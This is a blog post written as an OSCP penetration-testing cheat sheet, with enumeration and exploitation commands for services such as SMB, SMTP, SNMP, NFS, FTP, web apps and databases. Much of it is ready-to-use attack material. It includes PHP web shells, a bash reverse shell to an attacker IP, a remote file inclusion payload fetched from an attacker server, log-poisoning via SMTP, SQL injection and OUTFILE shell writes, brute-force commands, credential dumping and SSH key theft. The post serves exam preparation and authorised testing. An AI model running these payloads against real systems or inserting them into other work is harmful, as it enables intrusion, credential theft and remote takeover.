A Virgil's Guide to Pentest

Tuesday, 6 February 2018

Enumeration is the KEY

Well, it has been sometime since I cleared OSCP and the course was hell of a ride. I made lots of notes, gathered materials watched videos went through countless blogs and I thought it was time I share it with others so they can find everything in one place. Credits to the authors of all the blogs and everyone who can find their commands below.

Assumptions: You already know how to go around in a Linux machine, start and stop services, difference between bind and reverse shell.
I will reserve separate posts for the advanced SQLi, file transfer methods and privilege escalation etc

This blog will concentrate on services you commonly come across and their enumeration and how to take advantage of the information you get to perform an exploit. Basically if you are overwhelmed or not sure what to do when you find services from nmap, then this is what you should follow.

A double or triple slash at the end of the command indicates comments so don't copy that. I will not be giving detailed explanations but the comments should be good enough to understand. Feel free to skip the basics but you might just miss a hidden gem. ;)

Zone transfer for internal IPs:

Blog Archive

May 2018 (1)
February 2018 (3)

Report Abuse

- Home

Search This Blog

Search

First perform nslookup to get the host name and the zone name.

```
>nslookup
>server <ip>
> <ip>
```

Then add the hostname in etc/hosts with the corresponding ip

```
#dig axfr @<IP> <host.name>
#dig axfr @10.10.1.5  site.cj
```

If you don't know the hostname then just use

```
#dig axfr @<ip>
```

This is zone transfer for root zone.

If you get new domain names then edit host file and add the new hosts in etc/hosts
Or you can also set the server as your dns server in your resolv.conf file.
To do that,

```
#vi /etc/resolv.conf
```

nameserver 10.10.1.5 //This should be the content of the resolv.conf file.

DNSrecon for internal IP:
You won't be using a lot of this but incase you want to do a reverse lookup bruteforce.
10.10.10.5 is the target IP. Try different subnets

```
#dnsrecon -r 10.10.10.0/24 -n 10.10.10.5
```

R-service:

If there are any rservices enabled these are what you should try out, you may be lucky and get logged in directly.
#rlogin -l root <ip> // will directly log you in
You can try an rlogin brute using nmap script

```
#nmap -p53 --script rlogin-brute <ip>
#rusers -al <ip>
#rwho
```

Finger service:

Used to verify user in the machine

```
#finger root@10.10.1.5
#finger user@10.10.1.5
#finger <username>@<ip>
```

SMB enumeration:

This is what you might come across pretty often.

```
#enum4linux -a <IP>
```
//performs all basic enumeration using smb null session.

```
#enum4linux -U 192.168.1.2
```
//-U will get userlist

SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003

To use an smb null session :

```
#rpcclient -U "" 192.168.1.2
```
///when asked enter empty password

```
#rpcclient $>srvinfo
#rpcclient $>enumdomusers
#rpcclient $>querydominfo
#rpcclient $>getdompwinfo
```
//password policy

```
#rpcclient $>netshareenum
#nmblookup -A 192.168.1.1
#rpcinfo -p <target>
```

Enumerate using smbclinet:

```
#smbclient -L //192.168.1.2
#smbclient -L //192.168.1.2/myshare -U anonymous
#smb> get data.txt
#smb>put evil.txt
```

Brute SMB password:

#nmap -p445 --script=smb-brute.nse <ip>

Brute force should always be your last option. You can also use hydra to do it.

Using nmap:

```
#nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.1.200-254
#nmap -T4 -v -oA shares --script smb-enum-shares --script-args
smbuser=username,smbpass=password -p445 192.168.1.0/24
```

Windows null session:

```
C:\>net use \\TARGET\IPC$ "" /u:""
```
Use acccheck for getting user pass using smb
```
#acccheck -v -t 192.168.1.2 -u <user_name> -P
/usr/share/dirb/wordlist/common.txt
#acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt
```
Once you got user creds we will use the creds to see the shares using smbmap
```
#smbmap -u <user_name> -p <password> -d <domain> -H <IP>
#smbmap -u user -p pass -d workgroup -H 192.168.1.2
#smbmap -L -u user -p pass -d workgroup -H 192.168.1.2
```
If you have only read privilege read the shares
```
#smbmap -r -u user -p pass -d workgroup -H 192.168.1.2
```

SMTP:

Connect to nc to port 25 then probe it for user name like:
```
#VRFY root  //if user exists it gives a reply
#for user in $(cat users.txt); do echo VRFY $user | nc -nv -w 1
<targetip> 25 2>/dev/null | grep ^"250";done
#smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1   // -u <singleusername> , -
```
M EXPN/RCPT
If you find domain (which you will get from msfconsole smtp_enum or any other method) you can use that to find all users/email addresses using smtp-user-enum
```
#smtp-user-enum -M VRFY -D test.localdomain -U unix_users.txt -t
10.10.1.5
```
You can use the user list below or create a username list by enumeration.
User List: /usr/share/metasploit-framework/data/wordlists/unix_users.txt

SMTP bruteforcing:
```
#hydra -L emailid.txt -P /usr/share/wordlists/rockyou.txt 192.168.101.9
smtp
#hydra -s 25 -v -V -l test@example.com -P /path/to/password/list.lst -t 1
-w 20 -f 192.168.10.5 smtp
```

POP:
Try to login using default creds as root or if you get credentials through other sources then try login in through that

```
#telnet 192.168.0.10 110
>user virgil
>pass password
```

IMAP:

Connect to IMAP using openssl

```
#openssl s_client -connect 192.168.1.146:993 -crlf
```

To login use the following command:

```
#openssl s_client -connect 192.168.1.2:993 -crlf
>a login <user@email.com> <password>
>a login virgil !Passw0rd123!
To list and read emails
>a list "" "*"
>a select INBOX  ///inbox will be one of the response of the above command
>a uid fetch 1 body.peek[]
>a uid fetch 2 body.peek[]
```

Imap brute:

```
#nmap -p 143 --script imap-brute 10.10.1.5
```

Check out the link for enumeration commands after you login to smtp server.

http://www.samlogic.net/articles/smtp-commands-reference.htm

https://mediatemple.net/community/products/dv/204404584/sending-or-viewing-emails-using-telnet

SNMP:

Download the Snmp community string list for bruteforcing.

https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/wordlist-common-snmp-community-strings.txt

```
#onesistyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.1.2
#nmap -sU -p 161 -n --script snmp-brute 192.168.1.101 --script-args snmp-brute.communitiesdb=wordlist
```

This will give the community string

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt // community string list

```
#medusa -M snmp -h 192.168.0.1 -u admin -P communitystring.txt
```

You can also use snmpenum.pl a perl script to enumerate using snmp

IPV6 address enumerator through snmp: https://github.com/trickster0/Enyx
Awesome link for snmp enumeration
http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html
Or you can just create your own simple list and use that instead.

```
#onesixtyone -c community -i ips
#nmap -sU -sV -p 161 -n 192.168.0.1 --script="snmp-interfaces" --script-args="snmpcommunity=public"
#nmap -sU -sV -p 161 -n 192.168.0.1 --script="snmp-netstat" --script-args="snmpcommunity=public"
#nmap -sU -sV -p 161 -n 192.168.0.1 --script="snmp-processes" --script-args="snmpcommunity=public"
#nmap -sU -sV -p 161 -n <ip> --script="snmp-win32-users.nse" --script-arg="snmpcommunity=public"
#snmpwalk -c public -v1 192.168.1.2    ///v 1|2c|3 are the version on snmp
```

You will need to get the community string through nmap or though brute forcing snmp using hydra/medusa

The following MIB values correspond to specific Microsoft Windows SNMP paramters

1.3.6.1.2.1.25.1.6.0	System Process
1.3.6.1.2.1.25.4.2.1.2	Running Programs
1.3.6.1.2.1.25.4.2.1.4	Process Path
1.3.6.1.2.1.25.2.3.1.4	Storage Units
1.3.6.1.2.1.25.6.3.1.2	Software Name
1.3.6.1.4.1.77.1.2.25	User accounts
1.3.6.1.2.1.6.13.1.3	TCP Local Ports

```
#snmpwalk -c public -v1 192.168.0.10 1.3.6.1.2.1.25.1.6.0
```

We can enumerate like this for enumerating system functions. Try using each parameters for enumerating different things.

`#snmpcheck -c public -t 192.168.0.10` // community string "public " must be got through nmap/brute.
Use snmpset to change settings of the system
`#braa public@192.168.0.1:.1.3.6.1.*`
`#snmpbulkwalk -v 2 -c public <IP>`

NFS:

Tool to bypass nfs uid gid restriction https://github.com/bonsaiviking/NfSpy
NFS version 3 is vulnerable to userid spoofing using this tool you can spoof your account id and get access to the NFS share.
`#nmap --script=nfs-ls 192.168.1.10`
`#rpcinfo -p <ip>`
`#showmount -e <ip>`
`#showmount -a <ip>`
`#mount -t nfs 192.168.0.10:/sharedfolder /mnt/temp`
Look for nsf access. If it has .ssh then we can use that to bypass authentication to login
Mount the nfs share and copy the id_rsa file to /root/.ssh/ and id_rsa.pub to /root/.ssh
After this use the following commands
`#ssh-add` //from .ssh directory
Now try to ssh as the user for which u got the id_rsa to the system
`#ssh user@192.168.1.10`
Now we will have access

XAMPP Server:

If xampp is installed on the machine go to web browser and check http://ip/webdav
If that page opens/ says webdev test page you may be able to upload files to the server
Nikto can also tell you if webdav is enabled.
Use cadaver:
`#cadaver http://<ip>/webdav`
It will ask for username and pass. Sometime it may have default username and pass
Default user name is "wampp" and default pass is "xampp"
`dav:/webdav/>put test.txt`
`#davtest` ///to test for different types of file upload using PUT method
Also look for phpmyadmin, you may login using default password or bruteforce it or get it in

another way thought some LFI vulnerability.
If you get access to phpmyadmin you create tables newdatabase with system command or browse around it to get more password and
crack it or use it in someplace else.

Uniscan, dirb, nikto ,fimap

I always prefer using dirs3arch, you can get it here https://github.com/maurosoria/dirsearch
Still it depends on what works for you.

```
#dirb <url>
#uniscan -u <url> -qweds
#nikto -h <URL>
#gobuster -u <url> -w /usr/share/wordlists/dirb/common.txt -q -n -e
#gobuster -m dns -t 100 -u test.com -w
/usr/share/wordlists/metasploit/namelist.txt
```

///subdomain bruteforce

```
#gobuster -u <url> 10.10.10.24 -l -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t
20
```

//-x for appending .php

```
#fimap -u <url>
```

///lif/rfi locater
Ident-user-enum will tell you the owner of the processes running on the system, can be used to target services running as high privilege user,
can also be used for user enumeration.

```
#ident-user-enum <ip> <port>
```

FTP:

Anonymous FTP will be the first thing to try

```
#nmap --script=ftp-anon.nse -p21 <ip>
#ftp <ip>
```

Browse around see what you get, remember always to nc and probe.
When you login to ftp using a password and we are in home directory then to get reverse shell, follow the steps

```
#mkdir .ssh
#cp /root/.ssh/id_rsa.pub .
ftp> put id_rsa.pub
```

```
ftp>rename id_rsa.pub authorized_keys
ftp>exit
```
Login without password

MSSQL:

Very good blog on hacking mssql: http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/
Video which will be useful: https://www.youtube.com/watch?v=dZIG-GHhcdw
Metasploit: scanner/mssql/mssql_login
Once you get 'sa' password you can connect using sqsh from kali or sqlcmd.exe form windows and get the hash and crack it/ or use for pth.
Or create a new user and login directly

HTTP:

What if you get a wordpress website.
```
#wpscan --url http://ip/ -e vt,tt,u,ap --log wp.log
```
To brute force login
```
#wpscan --url http://ip/ --wordlist /usr/share/customwordlist --username admin
```

Note:Another way to bruteforce username is by forgot password based brute.
Visit wp-admin and click on forgot password and enter username, capture the request and brute the username and find different users based on the error message. Check the plugin output carefully of wpscan, if there is any vulnerability that lets you get/read files then go for config file wp-config.php . This will have DB credentials which can be used to connect to the database like mysql.

Buffer overflow: It's a huge topic for another day but for now just follow Simple buffer over flow by netsec and corelan
http://netsec.ws/?p=180
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

Installing mingw32 on kali linux
This is for compiling windows exploits in linux systems.

```
#apt-get install mingw32
```
If the above command does not work then follow the steps below
```
#dpkg --add-architecture i386
#apt-get -y update
#apt-get -y install wine
#apt-get -y install wine-bin
#apt-get -y install mingw32
```
A Sample compilation for 32-bit systems
```
#i586-mingw32msvc-gcc slmail-exploit.c -lws2_32 -o s.exe
```
https://null-byte.wonderhowto.com/forum/set-up-mingw-kali-using-wine-0159622/
http://www.blogcompiler.com/2010/07/11/compile-for-windows-on-linux/

File Inclusion: LFI and RFI:

Arr0way has an excellent blog on LFI that's what you should read first:
https://highon.coffee/blog/lfi-cheat-sheet/

If wordpress site has lfi look for wp-config.php to get db password and connect to the database.
If you find any LFI and if it's a linux system then try to get private key /.ssh/id_rsa
Location is mostly /home/username/.ssh/id_rsa
If you are not sure about the location , but if you can view the passwd file then from there get the location of the home folder of any user who has /bin/bash and check for id_rsa, like
```
virgil:x:1001:1001:PBX:/var/lib/virgil:/bin/bash
```
Then in the lfi search like ../../var/lib/virgil/.ssh/id_pub

Just an **FYI**, there is a great video by 0patch on devrandom vulnhub walkthrough to use the below method of command execution.

Suppose you have a php page like below, then this is how you can get a command execution.
http://host/dir/page=test.php
http://host/dir/page=data:,<?php system($_GET[cmd]); ?>&cmd=ls
If /proc/self/environ is accessible using LFI then you can input php code execution through the user agent.
User-Agent: `<?php echo"hello"; ?>`
Exploiting php include:A good explanation strongly recommend you read through it.
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course

Another good video on LFI: https://www.youtube.com/watch?v=5Dg8f2DqHrI

LFI depends on php version and webserver config, php.ini values
If the webapplication gets file from the system based on our input or just gets files from the system then use dotdotslash(../) method to get other files from the system. While getting our specified file if php adds its extension at the end of the file like
../../../windows/system32/drivers/etc/hosts and in the output error we get
../../../windows/system32/drivers/etc/hosts.php not found then we know that file is trying to be read. In order to read the file we will insert a nullbyte at the end.
../../../windows/system32/drivers/etc/hosts%00 , now we will get the contents of hosts file.

If you get LFI on windows XP you can use it to get the SAM file backup which can be later used for cracking.
`../../../WINDOWS/repair/sam`
`../../../WINDOWS/repair/system` ///this should also be downloaded in order to open the sam file

LFI in Linux:
Get the config file
/etc/apache2/sites-available/default ///000-default.conf or default-ssl.conf
This will give you the configuration information like DocumentRoot etc
Check from the output if cgi-bin is available which will allow u to execute perl scripts, which can be used later for privilege escalation if the service is running as root.

Check access logs and error logs and note what all directories and files have been accessed. You may get new login portals or other service running which may have vulnerabilities and exploits

Note: For LFI the vulnerable parameter need not always end with page.html/php etc it can be as simple as a username like http://ip/login.html?username=admin
You can also try LFI here. Sometimes when trying to verify with /etc/passwd you may get error, read the error message properly as sometimes the application will reject/add few characters, suppose you try /etc/passwd for http://ip/login.html?username=admin like http://ip/login.html?username=/etc/passwd and you get an error saying "User //passwd not found" or something like this, as you can see the "/etc" is being rejected by the application so you may want to add another /etc/ like http://ip/login.html?username=/etc/etc/passwd. Add nullbyte injection if the app is trying to add an extension at the end.

This is something I came across although I didn't use it,
phpinfo lfi to shell: https://www.insomniasec.com/downloads/publications/phpinfolfi.py

LFI to shell using smtp:
Using LFI you can also get a code execution if smtp is running. telnet to 25 and send mail with the any subject and data as the php code like,

```
VRFY virgil@localhost   ///verify the user
mail from: owned@anything.io
rcpt to virgil@localhost
subject: owned
<?php echo system($_REQUEST['cmd']); ?>
.
```

Now go to /var/mail/virgil using the lfi to see the msg, add a &cmd=whoami in the url to execute command.
To take a reverse shell give the shell command and url-encode it.
<url>?cmd=bash -i >& /dev/tcp/<attackerip>/port 0>&1

Remote File Inclusion:

To get RFI in the same parameter that gets the file from the server i.e the parameter which was exploited to get a LFI, we will tell it to get a file from another server.
http://<victimIP>/test.php?LANG=http://<attacker>/evil.txt
When we inject this url in the affected parameter it will try to get the file evil.txt from our hosted attacker server on port 80. We will be listening on port 80 with netcat to see exactly what that server is trying to get. In the response if we get "GET /evil.txt.php HTTP/1.1" then we will use the nullbyte to get rid of the .php so that it can request for the exact file and we can transfer the evil file.
Evil.txt will contain the php cmd.

```
<?php echo shell_exec("ipconfig");?>
#apachectl start
```

Or you can use this payload and give the command in the URL
<?php echo shell_exec($_GET['cmd']);?>
http://<victimIP>/test.php?cmd=ifconfig&LANG=http://<attacker>/evil.txt

Follow this blog for more: https://penetrate.io/2014/01/10/from-rfi-to-shell/

SQL Injection:

I will only be giving a basic walkthrough on sqli, for more advanced I will be publishing it on another day since this topic is huge.
If you want to follow videos then go for this: G0tm1lk videos in sql injection which is pwnOS walkthrough.
Almost always working payloads

```
'or 1=1-- -
' or '1'=1
' or '1'=1 -- -
'--
```

Use sql injection in the user Agent header as well
https://popped.io/sql-injection-through-http-headers/

Blind sql injection:

```
?id=1-sleep(5)   //It will take 5 seconds or more to load the page.
?id=1-IF(MID(@@version,1,1)='5',SLEEP(5),0)
```

SQLmap:

```
#sqlmap -u https://host.com --crawl=1  //Automatically search for sql injection points
#sqlmap -u https://host.com --dbs=mysql --dump --threads=5
#sqlmap -u http://ip/dir --forms --batch --crawl 4 --dbs
#sqlmap -u https://host.com --os-shell  //for uploading and executing shell'
```

MYSQL:

If you have mysql user name and password then login using:

```
#mysql -u <username> -p
Password:> <password>
mysql>
mysql > \!  /bin/sh
```

This command will give you a shell, sometimes it will be a root shell.

SIP:

Default username pass for pbx is admin:admin and for 2.7.0 support:securesupport123

```
#svmap 192.168.1.2
#svwar -D 192.168.1.2
#svwar -D -m INVITE 192.168.1.2  ///This will give the extensions
#svcrack -u2000 -d /usr/share/wordlists/rockyou.txt 192.168.1.2
```

//Suppose 2000 is one of the extensions, the above command will give you the password.

PasswordList:

Create your own custom password list

```
#crunch <min length> <max length> <characters to use> -o output.txt
#crunch 6 6 123456789ABCDEF -o crunch.txt
#crunch 4 4 -f /usr/share/crunch/charset.lst <specify list> ///cat charset.lst
```

to get <specify list>

```
#man crunch
```

Password Profiling:

Use cewl along with password mutating method to create a good password list.

```
#cewl www.hackies.in  -m 5   ///This will give a list of words found on the website with
```

minimum of 5 character length

Using this word list if we want to add numbers or any changes to the word list we will use john fr that

Edit john config file /etc/john/john.conf to give the rule

For example to add two number to the end of our password file we will edit the conf file to add this like

```
#add two number at the end
$[0-9]$[0-9]
```

After this we will use our word list to add the two number to the list

```
# john --wordlist=newwordlist.txt --rules --stdout > mutated.txt
```

Pwdump and fgdump:

Copy fgdump to victim machine and run it. This should give you the password hash dump

```
C:\>fgdump.exe
```
Then use johntheripper to crack it.
Before win vista
LM hash on DES and NTLM on MD4
After windows vista:
LSASS(Local Security Authority Subsystem process)
Windows Credential Editor(WCE)
```
C:>wce64.exe -w
```
//dumps clear text password

Brute force all the things:

Tools: ncrack,hydra and medusa.
I will be providing commands of different tools, it's up to you do decide which works best for you.

Windows rdp:
```
#ncrack -U rdp_users.txt -P rdp_pass.txt -p rdp 192.168.1.10
#ncrack -u administrator -P pass.txt 10.10.10.10 -p 3389
#ncrack -vv --user virgil -P pass.txt rdp://192.168.1.10
```

SSH:
```
#ncrack -p 22 --user root -P password.txt 10.10.1.5
#ncrack -p ssh -u root -P password.txt -T5 10.10.1.5
#hydra -l root -P pass.txt 192.168.1.2 ssh
#hydra -t 32 -l root -P password.txt 10.10.1.5 ssh
#medusa -h 10.10.1.5 -u admin -P pass.txt -M ssh
```

SNMP:
Dictionary attack a community string:
```
#nmap -sU -p 161 -n --script snmp-brute 192.168.1.101 --script-args snmp-brute.communitiesdb=wordlist
```
//this will give the community string
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt -- community string list
```
#medusa -M snmp -h 192.168.0.1 -u admin -P communitystring.txt
#hydra -P pass.txt -v 192.168.35.12 snmp
```

FTP:
Use ncrack

```
#ncrack -u test -P password.txt -T5 10.10.10.1 -p 21
```

FYI: vsftpd 2.3.4 has a smiley face backdoor. input username followed by :) (smiley face) without space and you will get a root access when to connect to the system on port 6200.

HTTP:
Brute forcing .htaccess protected web directory
`#medusa -h 192.168.0.10 -u admin -P passwordfile.txt -M http -m DIR:/admin -T 20` //-T is threads
`#medusa -h 192.168.0.10 -u admin -P pas.txt -M http -m DIR:/admin -T 10` ///-M module to execute, -m is parameter to the module
`#medusa -h test.securesite.com -u admin -p pass.txt -M http -n 81 -m DIR:/admin -T 30` //-n port // this is actually for bruteforcing a basic auth.
`#hydra www.example.com -L /root/usr.txt -P /root/pass.txt -V -f http-get /<protected_directory>`
`#hydra www.example.com -L /root/usr.txt -P /root/pass.txt http-post-form "/wp-login.php"` //https-post-form
`#hydra www.example.com -L /root/usr.txt -P /root/pass.txt -V -f http-get "/wp-login.php:<paste the post request data with ^USER^ and ^PASS^>:login failed"`
You can also use wfuzz to brute force

Password Cracking using John:

If you have hashed pass files and a wordlist give the following command:
`#john --format=raw-MD5 --wordlist=rockyou.txt hashpass.txt` ///hashpass format was already known as md5
`#cat /root/.john/john.pot` to view the password.

Linux shadow and passwd:
`#unshadow /etc/passwd /etc/shadow > unshadow`
`#john --wordlist=/usr/share/wordlists/rockyou.txt unshadow`
Hash formats to know before using john: http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Here is an awesome resource on Credential dumping:

https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/

Port forwarding and redirecting:

This is a tricky topic for new comers, so I am gonna keep it simple.
Read these blogs posts,
https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/localport-forward/
https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/proxychains/
https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/sshuttle/
This is a really good video on port forwarding, if you can understand this then you can skip the one below https://www.youtube.com/watch?v=ngbSsMAYYsE

SSH tunneling:
Local port forwarding:

Host A- attacker behind firewall in windows (SSH client) having pass for linux host B
Host B- compromised linux (SSH server)
Host C- destination windows running vnc

```
C:\>plink.exe HostB -P 22 -C -L 127.0.0.1:53:[HostC]:5900 -l username -pw
password
C:\>netstat -an | FIND "53"
```

Now when we open our vnc client and connect to 127.0.0.1:53 data will be sent through tunnel and will be forwarded to port5900.
Similarly if a webserver is running on the destination ip, since the ports are binded we have to visit our localhost on the binded port to access that website

```
#ssh -L localport:destip:destport pivothost
#ssh -L mylocalport:destination_host:destination_port
username@pivot_host
```

///pivothost/desthost if direct connection without pivot server inbetween. Which we do not need
Credits: https://www.youtube.com/watch?v=ngbSsMAYYsE

Dynamic SSH port forwarding:

This allows us to set a local listening port and have it tunnel incoming traffic to any remote destination through SOCKS proxy.
We have compromised a DMZ server and have root access to it, this server has both apache and ssh exposed to internet.

We can create a ssh SOCKS4 proxy on our local attacking box on port 8080 and tunnel all incoming traffic to that port through the DMZ network of our victim.

`#ssh -D 8080 root@test.securesite.com` (attacking machine)
`#ifconfig` //consider ip is in 192.168.40.10 (compromised machine)
#netstat -antp | grep 8080 (attacking machine)
Now we have local socks4 proxy listening on our lookback interface on 8080, now we can use proxychains to forward and tunnel traffic to non-routable dmz network. configure proxychains

```
#vim /etc/proxychains.cong
socks 127.0.0.1 8080
```

Save the file. Now we can simply type:

```
#proxychains nmap -p 3389 -sT -Pn 192.168.40.18-22 --open
```

Proxychains takes this traffic and redirects it to the DMZ network.

SSH remote tunneling:

Remote: we are running a webserver on local machine and we want to share it to internet without revealing our ip/system. So we setup forwarding in such a way that when someone visits an internet url or server hosted outside that server will forward its request to our local machine sending our local servers details to the outside.

```
#ssh -R 8080:localhost:80 user@host OR #ssh -R 8080:localhost:80
pivothost
#ssh -R
outsideserverport/destport:ourserverip/localhostip:ourserverport/localser
verport  pivotuser@pivothost
```

HTTP Tunneling:

```
#nc -vn 192.168.1.50 8888
CONNECT 192.168.11.90:80 HTTP/1.0
<After connection established>
HEAD / HTTP/1.0
```

SquidProxy:

To use nikto with squid proxy

```
#nikto -useproxy http://squid_ip:3128 -h http://target_ip
```

If the application is running proxy like squid then you probably have to get the proxy username and password using lfi or tftp or ftp or any other methods.
You can set your burp to listen to that proxy server on that port and then try to browse to the hosted application.

```
Files to look for
/etc/squid/squid.cfg
/etc/squid/squid.conf
/etc/squid.conf
/etc/squid.cfg
```

Bruting salted passowrd:

Once you have the hash value and you know how many characters are the password and how many are the salt, for ex:2b245b245bjbk2hkjb5k3j54benkjrt45 is the hash and the last 10 char are the salt then separate them with a colon
ex:2b245b245bjbk2hkjb5k3j5:4benkjrt45
Now download a tool called oclhashcat-plus0.12 and use that to crack it

```
#./oclhashcat-plus.bin -m 110 hashes.txt wordlist.txt --force
```

Better have a powerful gpu for it.

Password Cracking:

Use samdump2 and bkhive to get the sam and system file if u have physical access to the machine.

```
#hashcat --help
#hashcat -m 1000 Desktop/windows7hashes.txt -o win7cracked.txt
/usr/share/wordlist/rockyou.txt
```

//check the -m mode for the type of hash and the value. Make sure the windows7hashes.txt only contains the nt hash and not any other fields.

Cracking id_rsa to get the ssh key.

I found this method interesting and of great use. Method to login using id_rsa and id_rsa.pub is given above in the NFS heading.
This method is for jumbojohn, you need to download jumbojohn for this
To crack the id_rsa we will need a python script sshngjohn.py
https://github.com/truongkma/ctf-tools/blob/master/John/run/sshng2john.py

`#cat id_rsa | xclip` //to copy it to clipboard
`#vim id_rsa` ///and paste the copied id_rsa. You can name this file anything but just keeping it id_rsa if you are cracking it in a separate machine having graphic cards.
`#./sshng2john.py /root/id_rsa > /root/cracked`
`#john /root/cracked --wordlist=/usr/share/wordlists/rockyou.txt`
This should give you the ssh password.
ssh -i id_rsa virgil@10.10.1.5
Give the password and you are logged in.

If you want to use normal john then after copying the id_rsa file use this
`#ssh2john id_rsa`
Then use john to crack it

Private key from public key:

If you have the public key(.pub) then you can generate the private key using this tool
https://github.com/Ganapati/RsaCtfTool/
`#RsaCtfTool.py --publickey filename.pub --private --verbose`
This should output the privatekey file

Miscellaneous:

And here are some things you may find it useful.
Widows log:
`C:>wevtutil el` ///list all logs
`C:>wevtutil gli Security` //security is one of the logs//stats of the log
`C:>wevtutil qe Security /c:3 /rd:true /f:text` ///view last 3 log entries
`C:>wevutil epl Security c:\sec.evtx` //export log files into c:sec.evtx

wmic:
`C:>wmic useraccount list` //dumps the user accounts
`C:>wmic process get Name,Processid`
`C:>wmic startup list brief`
`C:>wmic product get Name,Vendor` //list of all software installed in system
`C:>wmic share list`
`C:>wmic group list brief`

If you want to do all exploits manually then try to port metasploit exploits to python. Netsec has a great tutorial on that.
https://netsec.ws/?p=262

Oracle:This video came in handy for Oracle based systems: https://www.youtube.com/watch?v=gAZrVi-m5sA

OS discovery:
Suppose you got an LFI and there is a vulnerable service which has remote exploit but of course it is dependent on the OS version and language, in that case try to get the following file to get more info about the system and create your exploit accordingly.

```
c:\windows\system32\eula.txt
c:\windows\inf\layout.inf
Windows/System32/license.rtf
```

File execution without file transfer to victim machine:
If you have code execution through webserver or any other method but did not transfer file to machine to get shell or priv esc then you can host a samba server in your linux machine and use that to execute files in victim machine

```
#impacket-smbserver virgil `pwd`        //this will serve samba server
```

now go to the webbrowser where you have code execution and access files like
http://victimip/shell.php?cmd=\\10.11.0.135\virgil\exploit.exe whoami
The file privsec.exe must be on the folder where you ran the " impacket-smbserver ippsec `pwd` "command

Curl injection to shell:
Similar to some system where we have a page to ping an IP where we will try command injection, there is also a page that does curl to get the content of any webapp.
We can use this curl command to write a shell file to its server.
Consider this is the internal working

```
#system(./curl $url)
```

So we can give the url of a php file which we will host and save that to a file and browse it to do command injection our command will look like

```
system(./curl -o /var/www/html/shell.php http://attackerip/shell.php)
```

This should give command injection.

Note:Joomla config file will contain password and joomla has a phpmyadmin login.

If you get lfi or can read any file with sqli then read /var/www/configuration.php
If you get access to phpmyadmin then go to sql tab and give your reverseshell there and output to a file in webroot folder like /var/www/.
Other variant of this is stored in any location and call it via lfi, if you have lfi vulnerability through other ports or vulns.

Payload:while using sql inection for php payload do this

```
select "<? php <your exploit code> ?>" INTO OUTFILE "/var/www/shell.php"
```

FYI might come in handy: Python webhandler by g0tm1lk
https://github.com/lnxg33k/webhandler/blob/master/webhandler.py

Cracking password protected zipfile:

```
#fcrackzip -D -p /usr/share/wordlists/rockyou.txt  -u backup.tar.gz.zip
```

Image files:

```
#exiftool filename.png
```

This will give you details on the file

Steganography:

```
#binwalk -Me file.png
```

JPEG files are similar to zip file and you can unzip them to find hidden files and folders.

Cipher decoding:
https://quipqiup.com/

TO DO:

All you need for Privilege escalation

Advanced SQLi

File Transfer methods

My pentesting methodology.

at February 06, 2018

5 comments:

Arun George 21 February 2018 at 08:57

Good one ,Benedict .Good idea to add points from ippsec breakthroughs for htb

Reply

Arun George 21 February 2018 at 08:58

*Walkthroughs

Reply

Unknown 31 July 2018 at 15:36

Thanks for the the KCSEC's ivoidwarranties.tech references
- KCSEC

Reply

Anonymous 7 November 2018 at 06:57

This is great stuff, thx. Will help me with my oscp as I want to write my own big enumeration scripts.

Reply

Yuhisern Navaratnam 18 December 2018 at 12:31

Legendary !!!

Reply

Enter your comment...

Comment as: Google Accoun ▾

Publish Preview

Newer Post Home

Subscribe to: Post Comments (Atom)

Simple theme. Powered by Blogger.